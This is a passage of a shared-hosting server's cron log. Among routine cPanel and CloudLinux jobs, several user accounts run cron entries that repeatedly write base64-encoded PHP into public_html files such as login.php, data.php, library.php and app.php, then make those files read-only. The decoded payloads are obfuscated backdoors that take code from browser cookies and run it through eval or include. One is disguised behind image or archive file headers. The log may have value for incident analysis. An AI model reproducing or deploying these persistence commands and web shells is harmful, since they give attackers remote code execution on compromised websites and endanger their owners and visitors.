gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:20:02 medusa CROND[9960]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 00:20:02 medusa CROND[9965]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:20:02 medusa CROND[9966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:20:02 medusa CROND[9962]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 00:20:02 medusa CROND[9959]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 00:20:02 medusa CROND[9974]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:20:02 medusa CROND[9979]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:20:02 medusa CROND[9953]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 00:20:02 medusa CROND[9980]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 00:20:02 medusa CROND[9981]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:20:02 medusa CROND[9983]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 00:20:02 medusa CROND[9992]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 00:20:02 medusa CROND[9993]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:20:02 medusa CROND[9996]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:20:02 medusa CROND[9995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:20:02 medusa CROND[10011]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 00:20:02 medusa CROND[9994]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 00:20:02 medusa CROND[9998]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 00:21:01 medusa CROND[15015]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:21:01 medusa CROND[15088]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:21:02 medusa CROND[15266]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:21:02 medusa CROND[15267]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 00:21:02 medusa CROND[15268]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 00:21:02 medusa CROND[15269]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:21:02 medusa CROND[15270]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:21:02 medusa CROND[15272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:21:02 medusa CROND[15277]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:21:02 medusa CROND[15279]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:21:02 medusa CROND[15282]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 00:21:02 medusa CROND[15283]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:21:02 medusa CROND[15294]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:21:02 medusa CROND[15296]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:22:01 medusa CROND[21865]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:22:01 medusa CROND[21942]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:22:02 medusa CROND[22085]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:22:02 medusa CROND[22086]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:22:02 medusa CROND[22087]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
